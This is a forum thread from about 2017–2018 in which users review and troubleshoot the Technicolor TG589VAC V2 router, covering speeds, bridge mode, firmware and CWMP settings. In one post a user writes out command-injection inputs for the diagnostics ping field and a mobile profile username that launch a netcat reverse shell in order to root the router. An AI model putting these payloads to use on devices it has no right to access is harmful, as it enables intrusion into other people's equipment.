Kitz Forum

Broadband Related => Broadband Hardware => Topic started by: tubaman on March 19, 2017, 11:53:51 AM

Title: Technicolor TG589VAC V2 - Initial thoughts
Post by: tubaman on March 19, 2017, 11:53:51 AM
Hi All,

I recently got a Technicolor TG589VAC V2 (the all white one) from my favourite auction site for £8.35 delivered!
It's an SSE version but was easy enough to configure for my BT line.
It's been on my line a few weeks now and here are my thoughts on it.

The Good:

It's Broadcom based so gets on well with my Huawei cabinet. :thumbs:
Connection speed is pretty good - it connects about 1Meg slower (DS) than the Zyxel 8924 I was using previously - and has been stable.
Wireless (2.4 and 5GHz) seems about as good as the Zyxel.
Nice range of stats available in the GUI (line stats, G.INP stats, bit-loading graph etc).
Full stats available in the CLI.

The not so good:

The GUI is the usual Technicolor nasty slow affair (see pic below).
CLI is only available via SSH (no telnet) and is a Technicolor cut-down version (pic below). It does include a useful drink recipe when you log in. :drink:
Its physically rather big - it's so deep it only just goes on my windowsill.
There's no way to turn off all of the flashing green lights.

The Bad:

As usual with Technicolor there doesn't seem any way to get new firmware versions (I have 16.1 but I know that 16.2 is out in the wild). :thumbdown:





Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: highpriest on March 19, 2017, 12:56:35 PM
I have the original version of one of these. Looks like the V2 has pretty much the same innards, but has been slimmed down a bit to fit through letterboxes. Could you confirm that it has the same Broadcom 63168 chip inside?

My experience with it was similar to yours - maintained a stable connection (in bridge mode) but ended up replacing it with a ZyXel 8324 because I didn't want to get stuck on the 16.1 firmware. Also couldn't get stats out of it using DSLStats because the program currently only supports telnet.

They have the potential to be great devices if only the manufacturer made the fully unlocked firmware freely available. Shame.
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: tubaman on March 19, 2017, 01:49:58 PM
highpriest,

I had the MK1 a while ago too but it was never stable on my line - it would restart about once per day.  I assumed this was a firmware issue.

Short of taking it apart do you know how I can tell which Broadcom chip it has?
 :)
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: alexrose1uk on May 16, 2017, 05:41:09 PM
My ISP is sending me one of those to supersede the Zyxel 8924 I had previously. I've been trying to research to find information about how they compare in terms of hardware, but coming up a blank.

Anyone happen to have any information on the relative hardware specs of the two? Don't want to downgrade inadvertently!
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: RayW on May 16, 2017, 07:26:56 PM
https://www.provu.co.uk/technicolor-tg589vac.html#features

I assume this is the unit you refer to ?

http://beta.speedtest.net/result/6298046340.png

Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: alexrose1uk on May 17, 2017, 10:53:00 AM
That is indeed the unit, although I'm not on Sky :)
For what it's worth, my ISP have stated they've found these Technicolors to be more reliable at high speed than the Zyxel (my line is 300/60), and also the Zyxel was being superseded so bit of both in terms of superseded vs improved.

I'd just like to see some stats which back this up :)

Here's my Zyxel 8924, I'll put up a comparison on the line when the new box arrives.
http://beta.speedtest.net/result/6303980213.png

[Moderator edit: 8934 -> 8924]
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: alexrose1uk on May 19, 2017, 06:57:14 AM
Right basic before:
http://beta.speedtest.net/result/6308968782.png

After:
http://beta.speedtest.net/result/6309027893.png

So looks to be very similar at least on basic ping and peak speeds.
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: alexrose1uk on September 03, 2017, 05:27:13 PM
Ok, after some time with this router, if you have a decent older router, then I strongly advise if you game/VOIP etc, then ditch this router ASAP.
Under mixed traffic from only a few computers, and no heavy bandwidth saturation (ie VOIP, games) let alone something worse like P2P, the router CPU is just not up to scratch, and cannot even reliably hold ping within the LAN. Done a few ping tests recently as less reliable than my old Zyxel, and seeing I cannot even ping the gateway IP address for 5 minutes without pings that are not the usual <1 but sometimes 9-10ms or so.

Under light traffic with only a couple of computers attached, that's pretty weak :(

Ditch.
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: bilbokitz on September 19, 2017, 11:53:43 AM
Can you put it in bridge mode?

[Moderator edited to correct a typo.]
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: Lil-Koby on January 04, 2018, 12:08:40 PM
I'm also interested in the device...
It's really cheap to get and i'd like to see how the BCM61368 chipset performs on my VDSL connection.
Quote
Can you put it in bridge mode?
You should be able to activate the bridge mode via GUI: https://support.zen.co.uk/kb/Knowledgebase/Technicolor-TG589vac-Bridge-Mode

I would also like to know if anyone has found any recent firmware files for this device ?
And of course if would be great if telnet could be unlocked (dsl-stats tool)...
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: bilbokitz on January 04, 2018, 03:20:28 PM
I borrowed one and it can be put into bridge mode using the gui, ports 1-3 with port 4 for management access.

I did not try the rooting tool but I presume that it will work as I was able to get a root shell and grab the etc\config\network file using the first part of this:

https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: Lil-Koby on January 04, 2018, 11:29:25 PM
Thanks for the infos bilbokitz... what you mean with "port 4 for management access" ?
You cannot access the device on port 1-3 anymore in bridge mode ?
I could always access my modems by adding an IP address of modem subnet to my main routers WAN port.
(e.g. WAN-Port Main Router 192.168.254.253, Modem: 192.168.254.254)

Btw, do you also had your timeout problem with this modem and does it perform same as the DGA4130 on your VDSL connection ?
And which firmware version was on your 589vac v2 ?
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: trektrek on January 07, 2018, 05:32:50 PM
Has anyone been able to get root on Aqua 16.3 on this router yet?  The ping/tracert method on the diagnostics page doesn't work anymore, issuing a ping to
::::::;nc [machine IP] [port] -e /bin/sh
gives
Label within domain name has invalid syntax Invalid IP address

This is the same when trying to enter the above into the Dynamic DNS username field, so looks like input validation has been sanitised. :(

Logging in via SSH as user 'engineer' and password (access password from the bottom of the router) gives a limited shell with no useful commands that can be executed.

Logging into the GUI as user 'engineer' and the same access password on the bottom of the router gives more menu's than the standard 'admin' account, including a 'Mobile' tile. Within the tile, on the 'Profile' tab, its possible to set the username to be:
dummy; nc [machine IP] [port] -e /bin/sh &

When a mobile usb dongle with a valid Sim card is inserted into the device, allegedly the pppd service will start and execute the command to give a root shell. This is as far as I have got as I don't have a USB mobile dongle to test with.

Anyone found another way?


Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: bilbokitz on January 18, 2018, 09:19:14 AM
Thanks for the infos bilbokitz... what you mean with "port 4 for management access" ?
You cannot access the device on port 1-3 anymore in bridge mode ?
I could always access my modems by adding an IP address of modem subnet to my main routers WAN port.
(e.g. WAN-Port Main Router 192.168.254.253, Modem: 192.168.254.254)

Btw, do you also had your timeout problem with this modem and does it perform same as the DGA4130 on your VDSL connection ?
And which firmware version was on your 589vac v2 ?
Yes port 4 to configure..
16.2
The behaviour is exactly the same maybe my isp does not like technicolor.
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: chuffer on January 22, 2018, 02:23:22 PM
Bought two of these from Ebay at a good price, I have one running and it is 8Mb or so faster than my old BT modem/Netgear router setup, big improvement when you only had 17Mb..

Problem is it has a CWMP setup, which I can disable from the GUI but it occasionally re-enables, certainly after a power cycle, resets user name etc etc.

TG589vac v2, Aqua 16.3, I would like to edit the config to remove the command !..

The other, responds to a ping but I can't access the GUI.

Any body help please .
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: tubaman on January 22, 2018, 03:33:38 PM
When I had one of these I disabled the CWMP via the 'engineer' user (password is on base of router). It only re-enabled if I did a hard reset.

On the one where you can't get to the GUI, I assume you have tried a hard reset, using the pin-hole at the back?
 :)
Title: Re: Technicolor TG589VAC V2 - Initial thoughts
Post by: chuffer on January 23, 2018, 12:33:21 PM
tubaman : yes, as in my post I had already done as you suggest but it's not only a power cycle that it goes back, For me it also does so if the router looses connection which I thought was a soft reset.

Even a soft reset must cause it to read the config file again thus turning back on the CWMP setting but interestingly it does not reset the other changes such as Wifi settings !.

This am it's done so twice, I do have an open ticket with an iffy line to my ISP so the disconnects might be due to them doing line tests, or it's my iffy line.

Several pin hole resets has not solved the other one.

Thanks